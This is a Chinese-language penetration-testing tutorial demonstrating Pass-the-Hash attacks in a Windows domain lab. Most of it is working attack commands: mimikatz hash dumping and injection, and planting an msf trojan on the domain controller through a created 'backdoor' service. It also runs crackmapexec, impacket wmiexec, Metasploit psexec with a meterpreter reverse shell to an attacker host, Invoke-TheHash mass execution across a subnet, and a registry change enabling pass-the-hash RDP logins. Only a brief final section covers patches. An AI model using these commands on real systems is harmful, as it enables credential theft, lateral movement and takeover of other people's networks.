內網滲透|談談HASH傳遞那些世人皆知的事
前言
Pass The Hash 即哈希傳遞攻擊,簡稱 PTH,該攻擊方法通過找到與賬戶相關的密碼散列值 NTLM Hash 來進行攻擊的。由于在 Windows 系統 NTLM 認證的 TYPE 3 消息計算 Response 的時候,客戶端是使用用戶的 NTLM Hash 進行計算的,而不是用戶密碼進行計算的。因此在模擬用戶登錄或對訪問資源的用戶進行身份認證的時候,是不需要用戶明文密碼的,只需要用戶 Hash。攻擊者可以利用 NTLM HASH 直接遠程登錄目標主機或反彈 Shell。
在域環境中,用戶登錄計算機時一般使用域賬號,大量計算機在安裝時會使用相同的本地管理員賬號和密碼,因此,如果計算機的本地管理員賬號和密碼也相同,攻擊者就能使用哈希傳遞攻擊的方法來登錄內網中的其他主機。使用該方法,攻擊者不需要花費時間來對Hash進行爆破,在內網滲透里非常經典。常常適用于域環境或工作組環境。
哈希傳遞攻擊
下面,我們以下圖所示的環境來具體演示哈希傳遞攻擊(PTH)的方法。

如圖中,右側是一個內網環境,域名為whoamianony.org,有兩臺主要的機器:域成員主機 Windows 7 和域控制器 Windows Server 2012,其中攻擊者已經拿下了內網中的 Windows 7,接下來我們嘗試通過哈希傳遞的方法獲取 Windows Server 2012 的控制權。
使用 Mimikatz 進行 PTH
下面演示哈希傳遞攻擊的方法(需要管理員權限):
首先,攻擊者在Windows 7上面上傳mimikatz,并用mimikatz抓取Hash:
privilege::debug sekurlsa::logonpasswords

如上圖所示,成功抓取到域管理員的 NTLM Hash 為:ab89b1295e69d353dd7614c7a3a80cec
然后,在 Windows 7 上用 mimikatz 將獲取的 Administrator 的 Hash 添加進 lsass 進程中:
privilege::debug sekurlsa::pth /user:administrator /domain:whoamianony /ntlm:ab89b1295e69d353dd7614c7a3a80cec

成功,此時會自動彈出一個新的cmd窗口,這時訪問遠程主機或服務,就不用提供明文密碼了,如下,我們列出了域控制器 DC 的c盤目錄:

為了簡潔,上述的操作可以用以下一句話命令代替:
mimikatz.exe privilege::debug "sekurlsa::pth /domain:whoamianony /user:administrator /ntlm:ab89b1295e69d353dd7614c7a3a80cec /run:cmd.exe"
此時,為了讓域控制器 DC 上線 Metasploit,我們只需做以下工作。
生成一個msf木馬shell.exe,將shell.exe上傳到Windows 7主機,然后直接使用 copy 命令將shell.exe復制到域控上:
copy shell.exe \\DC.whoamianony.org\c$ // 將 shell.exe 復制到域控主機上
i
sc \\DC.whoamianony.org create backdoor binpath= "c:\shell.exe"http:// 在域控上創建服務啟動木馬 sc \\DC.whoamianony.org start backdoor // 在域控上立即啟動該服務 sc \\DC.whoamianony.org delete backdoor // 在域控上立即刪除該服務

此時雖然顯示 1053 錯誤,但是如下圖所示,域控制器成功上線,并且還是 SYSTEM 權限:

注意,哈希傳遞攻擊要注意一下幾點:
?dir命令后面要使用主機名,不能用 IP,否則報錯?使用 mimikatz 進行哈希傳遞要具有本地管理員權限
使用 Crackmapexec 進行 PTH
該工具位于kali上面,其可以對C段主機批量進行PTH攻擊。
下載地址:https://github.com/byt3bl33d3r/CrackMapExec.git
在kali上直接用apt-get就可以安裝:
apt-get install crackmapexec
對內網主機進行PTH的命令如下:
crackmapexec smb 192.168.93.30-u administrator -H ab89b1295e69d353dd7614c7a3a80cec -d whoamianony.org -x whoami crackmapexec smb 192.168.93.30-u administrator -H ab89b1295e69d353dd7614c7a3a80cec -d whoamianony.org -x ipconfig
?IP:可以是單個IP也可以是IP段?-u:指定用戶名?-H:指定NTLM Hash?-d:指定域?-x:執行系統命令
如下圖所示,成功在 DC 主機上執行命令:


利用 wmiexec 進行 PTH
?項目地址:https://github.com/SecureAuthCorp/impacket
這是 impacket 工具包里面的一個腳本,可以用來 PTH,同時可以走 socks4/5 代理,十分強大。
首先在攻擊機上安裝 Impacket 工具包:
git clone https://github.com/CoreSecurity/impacket.git cd impacket/ pip install .
進入 examples 目錄即可找到我們的 wmiexec.py,然后執行以下命令即可:
python wmiexec.py -hashes 00000000000000000000000000000000:ab89b1295e69d353dd7614c7a3a80cec whoamianony/administrator@192.168.93.129"whoami" # (proxychains4) python wmiexec.py -hashes LM Hash:NT Hash 域名/用戶名@IP "命令"
使用 Metasploit 進行 PTH
經常使用的三個模塊:
auxiliary/admin/smb/psexec_command // 在目標機器上執行系統命令 exploit/windows/smb/psexec // 用psexec執行系統命令 exploit/windows/smb/psexec_psh // 使用powershell作為payload
這三個模塊的使用方法相同,這里以exploit/windows/smb/psexec模塊哈希傳遞攻擊域控制器 DC 為例:

需要設置以下選項:
use exploit/windows/smb/psexec set rhosts 192.168.93.30 set smbuser administrator set smbpass 00000000000000000000000000000000:ab89b1295e69d353dd7614c7a3a80cec # 完整的Administrator用戶的Hash set smbdomain whoamianony set payload windows/x64/meterpreter/reverse_tcp set lhost 192.168.93.129 set lport 4444 exploit
注意這里的 smbpass 選項,其可以為明文密碼,也可以為密碼哈希,但是哈希值必須是完整的,如果不知道前面的LM Hash部分,可以像上面那樣用0代替。
如下圖所示,攻擊成功,域控成功上線,并且是 SYSTEM 權限:

利用 PowerShell 進行 PTH
?項目地址:https://github.com/Kevin-Robertson/Invoke-TheHash
Invoke-TheHash 項目是一個基于.Net TCPClient,通過把 NTLM 哈希傳遞給 NTLMv2 身份驗證協議來進行身份驗證的攻擊套件,且執行時客戶端不需要本地管理員權限。Invoke-TheHash 項目中內含如下多個腳本:
Invoke-WMIExec.ps1 Invoke-SMBExec.ps1 Invoke-SMBEnum.ps1 Invoke-SMBClient.ps1 Invoke-TheHash.ps1
其可以執行 WMI 和 SMB 命令,并對內網主機批量進行哈希傳遞攻擊。
使用 Invoke-SMBExec 腳本
該腳本通過 SMB 在目標主機創建服務來執行命令,該腳本執行命令沒有回顯,我們可以用它執行一些木馬程序。如下所示,我們通過 Invoke-SMBExec 腳本進行哈希傳遞,在域控制器上執行之前上傳的 shell.exe:
Import-Module.\Invoke-SMBExec.ps1 Invoke-SMBExec-Target192.168.93.30-Domain whoamianony -Username administrator -Hash00000000000000000000000000000000:ab89b1295e69d353dd7614c7a3a80cec -Command"c:\shell.exe"-verbose

成功執行 shell.exe,域控上線成功:

使用 Invoke-TheHash 腳本
Invoke-TheHash 腳本可以用來通過哈希傳遞在遠程主機上執行 WMI 和 SMB 命令。
Import-Module.\Invoke-WMIExec.ps1 # 首先需要加載先加載Invoke-WMIExec.ps1腳本 Import-Module.\Invoke-TheHash.ps1 # 然后再加載Invoke-TheHash.ps1腳本 Invoke-TheHash-TypeWMIExec-Target192.168.93.1/24-Domain whoamianony -Username administrator -Hash ab89b1295e69d353dd7614c7a3a80cec -Command"c:\shell.exe"-verbose
?-Target:目標主機名或IP地址/段。?-Username:用于身份驗證的用戶名。?-Domain:用于身份驗證的域。本地帳戶或在用戶名后使用@domain時不需要此參數。?-Hash:用于身份驗證的NTLM密碼哈希(格式:LM:NTLM 或 NTLM)。?****-Command:**在目標上執行的命令。如果命令未指定,則將檢查用戶名和哈希是否可以訪問目標上的SCM。
注意使用的時候需要先加載 Invoke-WMIExec.ps1 腳本,然后再加載Invoke-TheHash.ps1腳本,因為Invoke-TheHash 里要用到 Invoke-WMIExec 方法。


成功在域控(192.168.52.138)上執行了 shell.exe,域控成功上線:

使用 Invoke-SMBClient 腳本
該腳本支持SMB1,SMB2,SMB signing,如果只有 SMB 文件共享的權限而沒有遠程執行權限的話,可以使用這個腳本列舉遠程主機上的共享目錄、上傳或下載文件、刪除文件。
使用以下命令可以成功列舉出域控制器上的共享文件:
Import-Module.\Invoke-SMBClient.ps1 Invoke-SMBClient-Domain whoamianony -Username administrator -Hash ab89b1295e69d353dd7614c7a3a80cec -Source \\DC.whoamianony.org\c$ -verbose # Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Source \\server\share -verbose 查看遠程主機共享目錄

還有以下幾種操作:
Invoke-SMBClient-Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -ActionDelete-Source \\server\share\file.txt # 刪除遠程主機上指定的共享文件 Invoke-SMBClient-Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -ActionGet-Source \\server\share\file.txt # 在遠程主機上下載指定的共享文件 Invoke-SMBClient-Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -ActionPut-Source file.exe -Destination \\server\share\subdirectory\file.exe # 向遠程主機的共享目錄中上傳指定的文件
利用哈希傳遞登錄 RDP 遠程桌面
在內網滲透中,如果獲得了某個用戶的 NTLM 哈希,我們不僅可以嘗試使用哈希傳遞的方法對WMI和SMB服務進行登錄,對于遠程桌面服務我們同樣可以利用哈希傳遞進行遠程登錄。
借助 Restricted Admin Mode 進行哈希傳遞登錄 RDP
適用系統:
?Windows 8.1和Windows Server 2012 R2默認支持該功能?Windows 7和Windows Server 2008 R2默認不支持,需要安裝補丁2871997、2973351
Windows Server 2012 R2 采用了新版的 RDP 遠程桌面協議,在這個新版協議中有一個 ”受限管理員” (Restricted Admin)的特性。相信滲透測試人員和系統管理員都會對這個特性有足夠的興趣,因為通過這個特性,我們可以實現哈希傳遞攻擊并成功登錄遠程桌面。
在抓取到的 Hash 無法破解的情況下,如果目標主機開啟了 "Restricted Admin Mode" 也行,那么我們便可以使用 Hash 來直接實現 RDP 遠程登錄。Restricted Admin Mode 在 Windows 8.1 和 Windows Server 2012 R2 上默認開啟。
我們在滲透過程中可以通過修改注冊表的方式開啟目標主機的 Restricted Admin Mode,值為 0 代表開啟,值為 1 代表關閉:
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa"/v DisableRestrictedAdmin/t REG_DWORD /d 00000000/f REG query "HKLM\System\CurrentControlSet\Control\Lsa"| findstr "DisableRestrictedAdmin"# 查看是否成功開啟

如上圖所示,成功在目標主機開啟了 Restricted Admin Mode。
然后再攻擊機上使用 Mimikatz 進行哈希傳遞,大致原理就是哈希傳遞成功后執行 mstsc.exe /restrictedadmin 來打開遠程桌面:
privilege::debug sekurlsa::pth /user:administrator /domain:whoamianony.org /ntlm:ab89b1295e69d353dd7614c7a3a80cec "/run:mstsc.exe /restrictedadmin"

報錯了,說 CredSSP 加密數據庫錯誤,大概是因為 Windows 10 家庭版的原因吧。然后更換了另一個版本的 Windows 成功了:


注意,這里的受限管理員模式顧名思義只對管理員組有效。所以如果你獲取到的用戶屬于遠程桌面用戶組,那么是無法通過 Hash 登錄的。
哈希傳遞攻擊的預防
微軟在2014年5月發布了 KB2871997 和 KB2928120 兩個補丁。KB2871997是針對PTH攻擊的,這個被稱為“PTH殺手”的更新將使本地帳號不再可以用于遠程接入系統,不管是 Network logon 還是 Interactive login。其后果就是:無法通過本地管理員權限對遠程計算機使用 Psexec、WMI、smbexec、IPC 等,也無法訪問遠程主機的文件共享等。
但是在測試中發現,在打了 kb2871997 這個補丁后,常規的哈希傳遞已經無法成功,但是唯獨默認的 Administrator(SID 500)帳號例外,利用這個賬號仍可以進行哈希傳遞。注意即使把Administrator改名了,它的SID仍然是500,只要它還是 SID 500那么以前的攻擊方法還是有效。